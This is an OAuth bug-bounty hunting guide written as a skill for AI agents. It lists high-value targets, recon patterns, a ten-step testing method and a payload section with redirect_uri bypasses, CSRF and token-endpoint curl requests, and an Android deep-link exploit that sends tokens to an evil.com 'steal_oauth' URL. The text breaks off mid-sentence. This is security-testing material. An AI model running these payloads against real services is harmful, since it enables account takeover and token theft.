hunt-oauth – Security skill for AI agents

Crown Jewel Targets

OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.

Highest-value targets:

• Consumer identity providers (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
• Mobile apps with custom deep link OAuth handlers — Android/iOS intent handling is notoriously loose
• Multi-tenant SaaS platforms (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
• Gaming/entertainment platforms with federated login (Rockstar, Oculus) — often security-immature teams
• Enterprise SSO connectors — critical infrastructure, high severity payouts

Asset types that pay most:

• OAuth authorization endpoints (/oauth/authorize, /connect/authorize)
• Token exchange endpoints (/oauth/token)
• Mobile deep link handlers (push_notification_webview, custom scheme URIs)
• Social login callback handlers (/auth/callback, /oauth/callback)

Typical payouts: $500–$20,000+ depending on program; account takeover findings often hit max bounty.

---

Attack Surface Signals

URL Patterns to Hunt

/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview

Response Headers That Signal OAuth

Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)

JavaScript Patterns (grep in JS bundles)

redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://

Tech Stack Signals

• Android apps with intent-filter in AndroidManifest.xml handling http:// or custom scheme URIs
• Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
• Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
• .well-known/openid-configuration present = full OIDC surface available

---

Step-by-Step Hunting Methodology

1. Enumerate all OAuth entry points

• Spider the app for /oauth, /connect, /auth, /login paths
• Check .well-known/openid-configuration and .well-known/oauth-authorization-server
• Decompile mobile APKs: apktool d app.apk and grep for redirect_uri, intent://, deep link schemes

2. Map the full OAuth flow

• Capture the authorization request: note client_id, redirect_uri, state, nonce, response_type
• Capture the callback: note where tokens/codes land, what validates state/nonce

3. Test redirect_uri validation (highest yield)

• Try exact host bypass: redirect_uri=https://legit.com.evil.com
• Try path traversal: redirect_uri=https://legit.com/callback/../../../evil
• Try open redirects on the legitimate domain first, then chain into OAuth
• Try parameter pollution: redirect_uri=https://legit.com&redirect_uri=https://evil.com
• Try encoded characters: %2F, %40, %23 to confuse parsers

4. Test state parameter (CSRF)

• Remove state entirely — does the flow complete?
• Reuse a fixed state value across sessions
• Check if state is validated server-side or only client-side

5. Test nonce parameter (replay/bypass)

• Capture a nonce from one flow, attempt to replay it in another
• Check if nonce is validated after token exchange
• Test if nonce can be extracted via referrer leak (step 9)

6. Test authentication step completeness

• For multi-step auth (e.g., email verification + OAuth): can you skip to /oauth/token directly?
• Check if partial auth state (unverified email) is accepted by the token endpoint

7. Hunt referrer leakage

• After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full Referer header
• Look specifically at language switchers, analytics calls, social share buttons triggered post-auth

8. Test mobile deep links

• For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
• Check if deep link handlers validate the origin/host before loading
• Test push_notification_webview patterns that accept arbitrary URLs

9. Test misconfigured client credentials

• Check if client_secret appears in JS bundles or APK resources
• Test if token endpoint accepts arbitrary redirect_uri values when combined with leaked client_id/client_secret

10. Verify and document

• Confirm state is not validated → CSRF to account link
• Confirm token lands on attacker domain → session theft
• Confirm email verification skippable → auth bypass
• Run Gate 0 check before reporting

---

Payload & Detection Patterns

redirect_uri Bypass Payloads

# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://[email protected]

# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com

# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com

# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb

# URL encoded slashes
https://legit.com%[email protected]
https://legit.com%252F..%252F..evil.com

State CSRF Test

# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl --max-time 30 --connect-timeout 10 -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"

# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE

Nonce Extraction via Referrer

# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl --max-time 30 --connect-timeout 10 -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
  -H "Referer: https://evil.com" \
  --max-redirs 0

# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html

Mobile Deep Link Exploit (Android)

# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
  -d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"

# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>

Token Endpoint Auth Bypass

# Test unauthenticated token exchange (skip email verification)
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=CAPTURED_CODE" \
  -d "client_id=CLIENT_ID" \
  -d "redirect_uri=https://legit.com/callback"

# Test with unverified account credentials
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/oauth/token \
  -d "grant_type=password" \
  -d "[email protected]" \
  -d "password=password123" \
  -d "client_id=CLIENT_ID"

Grep Patterns for Recon

# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .

# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header

# Check .well-known
curl --max-time 30 --connect-timeout 10 https://target.com/.well-known/openid-configuration | python3 -m json.tool

---

Common Root Causes

1. Weak redirect_uri validation — developers whitelist by prefix (startsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive.

2. Missing or unvalidated state parameter — developers implement OAuth by following basic tutorials that omit CSRF protection, or validate state client-side only in JavaScript (easily bypassed).

3. Nonce not validated post-exchange — nonce is generated and sent in the request but never verified against the ID token after the code exchange, making replay attacks possible.

4. Authentication step ordering not enforced server-side — teams implement multi-step auth (signup → email verify → OAuth grant) but don't enforce the sequence server-side. The token endpoint doesn't check completion of prerequisite steps.

5. Token/code in URL with outbound requests on callback page — developers land users on a callback page with tokens in the query string, then that page f

… (full content is in the download package)